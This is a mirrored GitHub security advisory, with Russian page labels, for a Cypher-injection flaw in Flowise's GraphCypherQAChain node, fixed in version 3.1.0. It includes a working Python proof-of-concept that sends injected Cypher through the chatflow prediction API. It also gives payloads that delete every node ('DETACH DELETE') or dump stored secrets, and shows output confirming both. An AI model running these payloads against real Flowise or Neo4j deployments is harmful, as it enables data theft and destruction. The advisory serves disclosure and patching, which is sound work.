GHSA-28g4-38q8-3cwc

Опубликовано: 16 апр. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.7

Описание

Flowise: Cypher Injection in GraphCypherQAChain

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

Field	Value
Affected File	`packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts`
Affected Lines	193-219 (run method)

Prerequisites

To exploit this vulnerability, the following conditions must be met:

Neo4j Database: A Neo4j instance must be connected to the Flowise server
Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping }

Impact

An attacker with access to a vulnerable chatflow can:

Data Exfiltration: Read all data from the Neo4j database including sensitive fields
Data Modification: Create, update, or delete nodes and relationships
Data Destruction: Execute DETACH DELETE to wipe entire database
Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args() payload = { "question": args.injection, "overrideConfig": {}, } headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}" url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}" try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'}) CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'}) CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id <FLOW_ID> --token <API_KEY> \ --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n" {"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n" {"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

Ссылки

Пакеты

Наименование

flowise

npm

Затронутые версииВерсия исправления

<= 3.0.13

3.1.0

Наименование

flowise-components

npm

Затронутые версииВерсия исправления

<= 3.0.13

3.1.0

EPSS

Процентиль: 40%

0.00504

Низкий

8.7 High

CVSS4

CVE ID

CVE-2026-41274

Дефекты

CWE-943

Связанные уязвимости

CVE-2026-41274

CVSS3: 9.8

nvd

3 месяца назад

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

EPSS

Процентиль: 40%

0.00504

Низкий

8.7 High

CVSS4

CVE ID

CVE-2026-41274

Дефекты

CWE-943